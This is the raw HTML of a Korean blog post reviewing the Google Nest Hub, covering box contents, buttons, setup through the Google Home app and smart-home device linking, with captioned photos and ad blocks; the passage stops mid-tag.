&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;5.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EXzaQ/btrfKA0RUli/2bTAjSfSroGNIp2sxekLvK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EXzaQ/btrfKA0RUli/2bTAjSfSroGNIp2sxekLvK/img.jpg&quot; data-alt=&quot;심지어 연동 잘 됨.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EXzaQ/btrfKA0RUli/2bTAjSfSroGNIp2sxekLvK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEXzaQ%2FbtrfKA0RUli%2F2bTAjSfSroGNIp2sxekLvK%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;5.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;심지어 연동 잘 됨.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 내부 구성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 구성은 조촐합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;기기 1개, 어댑터 1개, 간단한 설명서와 보증&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;7.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buvzk4/btrfKByI4te/7wnqKwS9e8hcMAguAwvDj1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buvzk4/btrfKByI4te/7wnqKwS9e8hcMAguAwvDj1/img.jpg&quot; data-alt=&quot;이게 다임. Simple is the best...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buvzk4/btrfKByI4te/7wnqKwS9e8hcMAguAwvDj1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbuvzk4%2FbtrfKByI4te%2F7wnqKwS9e8hcMAguAwvDj1%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;7.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이게 다임. Simple is the best...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의외로 케이블타이(메뚜기)가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재활용이 가능한 구조 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깔끔하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선을 정리할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 뒷태&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로, 전원 버튼이 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전원 연결하면 켜지고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빼면 꺼집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;- 상단: 마이크 On/Off 버튼&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 좌측: 스피커 음량 조절 버튼&lt;br /&gt;- 하단: 어댑터 연결 단자&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;KakaoTalk_20210923_190718647_07.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOHvIy/btrfO32tw4m/9akPG0vqDsbxjKnb3skRHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOHvIy/btrfO32tw4m/9akPG0vqDsbxjKnb3skRHK/img.jpg&quot; data-alt=&quot;스피커 크다...저음 강화됐다고 하는데 기대됨&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOHvIy/btrfO32tw4m/9akPG0vqDsbxjKnb3skRHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOHvIy%2FbtrfO32tw4m%2F9akPG0vqDsbxjKnb3skRHK%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;KakaoTalk_20210923_190718647_07.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;스피커 크다...저음 강화됐다고 하는데 기대됨&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 간단 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UI가 없어서 그렇지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 태블릿입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(추측이지만, 100% 안드로이드 탑재됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 활용 범위와 방법은 다양할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(실제로, Twitch랑 naver 켜달라고 하니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저 켜서 접속함...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 좀 느림...ㅎㅎ;;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 주변 기기 연동 방법 및&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 예시를 포스팅하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 초기 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기 설정은 시키는 대로만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하면 쉽게 모바일과 네스트 허브가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1) Nest Hub를 처음 부팅하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱을 설치하고 QR을 찍으라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tolcz/btrfIX22Tmh/WYGgTTE2ldy30sKVypekGk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tolcz/btrfIX22Tmh/WYGgTTE2ldy30sKVypekGk/img.jpg&quot; data-alt=&quot;Get the Google Home app&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tolcz/btrfIX22Tmh/WYGgTTE2ldy30sKVypekGk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftolcz%2FbtrfIX22Tmh%2FWYGgTTE2ldy30sKVypekGk%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Get the Google Home app&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2) Play 스토어에서 Google Home app을 설치하고 실행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;2.jpg&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cT5fmT/btrfFFu4igz/7BBDscpKmN2lteZkPnstaK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cT5fmT/btrfFFu4igz/7BBDscpKmN2lteZkPnstaK/img.jpg&quot; data-alt=&quot;Google Home 설치 &amp;amp;amp;amp; 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cT5fmT/btrfFFu4igz/7BBDscpKmN2lteZkPnstaK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcT5fmT%2FbtrfFFu4igz%2F7BBDscpKmN2lteZkPnstaK%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;2.jpg&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Google Home 설치 &amp;amp; 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 3) 핸드폰의 블루투스를 켜놓고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시키는 데로 진행하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7gFnO/btrfPW9DdnO/KwKrpgQ0OQQotqRavo6WWK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7gFnO/btrfPW9DdnO/KwKrpgQ0OQQotqRavo6WWK/img.jpg&quot; data-alt=&quot;Nest Hub를 설정하시겠습니까?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7gFnO/btrfPW9DdnO/KwKrpgQ0OQQotqRavo6WWK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7gFnO%2FbtrfPW9DdnO%2FKwKrpgQ0OQQotqRavo6WWK%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Nest Hub를 설정하시겠습니까?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;7.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YoMxF/btrfKBep2u6/tYVG1IHNiDS15Kvt46OP2K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YoMxF/btrfKBep2u6/tYVG1IHNiDS15Kvt46OP2K/img.jpg&quot; data-alt=&quot;연결 완료하고 기기 업데이트 중...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YoMxF/btrfKBep2u6/tYVG1IHNiDS15Kvt46OP2K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYoMxF%2FbtrfKBep2u6%2FtYVG1IHNiDS15Kvt46OP2K%2Fimg.jpg&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot; data-filename=&quot;7.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;연결 완료하고 기기 업데이트 중...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 4) 사실 해줘야 할 설정이 많습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 해도 되고, 수정도 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;8.jpg&quot; width=&quot;500&quot; height=&quot;1015&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI46mt/btrfKAmfauJ/KEmr4LOrwM9o1nn337vv3k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI46mt/btrfKAmfauJ/KEmr4LOrwM9o1nn337vv3k/img.jpg&quot; data-alt=&quot;Uhm...나중에...?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI46mt/btrfKAmfauJ/KEmr4LOrwM9o1nn337vv3k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI46mt%2FbtrfKAmfauJ%2FKEmr4LOrwM9o1nn337vv3k%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;8.jpg&quot; width=&quot;500&quot; height=&quot;1015&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Uhm...나중에...?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 스마트 홈 기기 연동&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제, 제가 꼭 AI스피커를 쓰는 이유인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스마트 홈 기기 연동입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실, 여기도 할 건 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 기기의 앱에서 설정이 끝났으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google Nest Hub에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 계정 로그인만 하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1) &quot;&lt;u&gt;&lt;b&gt;설정&lt;/b&gt;&lt;/u&gt;&quot; 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8Wndq/btrfO5eW9lq/ruOBVbxYIJYGFywZwHAjgK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8Wndq/btrfO5eW9lq/ruOBVbxYIJYGFywZwHAjgK/img.jpg&quot; data-alt=&quot;루틴 옆에 &amp;amp;quot;설정&amp;amp;quot; 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8Wndq/btrfO5eW9lq/ruOBVbxYIJYGFywZwHAjgK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8Wndq%2FbtrfO5eW9lq%2FruOBVbxYIJYGFywZwHAjgK%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;루틴 옆에 &quot;설정&quot; 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2) 아래 쪽에 &quot;&lt;u&gt;&lt;b&gt;Google 호환 기기&lt;/b&gt;&lt;/u&gt;&quot; 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;10.jpg&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1UeUc/btrfKA7DoNu/80eih6yrwAbeITHKE3KRU1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1UeUc/btrfKA7DoNu/80eih6yrwAbeITHKE3KRU1/img.jpg&quot; data-alt=&quot;아래 쪽에 &amp;amp;quot;Google 호환 기기&amp;amp;quot; 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1UeUc/btrfKA7DoNu/80eih6yrwAbeITHKE3KRU1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1UeUc%2FbtrfKA7DoNu%2F80eih6yrwAbeITHKE3KRU1%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;10.jpg&quot; width=&quot;350&quot; height=&quot;710&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아래 쪽에 &quot;Google 호환 기기&quot; 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 3) 너무 많다 보니...&quot;검색&quot;해서 찾아서 연동...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;12.jpg&quot; width=&quot;500&quot; height=&quot;1015&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhGrz9/btrfPXOe23r/UUkeOmHb8kYNzEebpkuke1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhGrz9/btrfPXOe23r/UUkeOmHb8kYNzEebpkuke1/img.jpg&quot; data-alt=&quot;지금은 3개지만...더 늘려야지...ㅎ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhGrz9/btrfPXOe23r/UUkeOmHb8kYNzEebpkuke1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhGrz9%2FbtrfPXOe23r%2FUUkeOmHb8kYNzEebpkuke1%2Fimg.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;2192&quot; data-filename=&quot;12.jpg&quot; width=&quot;500&quot; height=&quot;1015&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 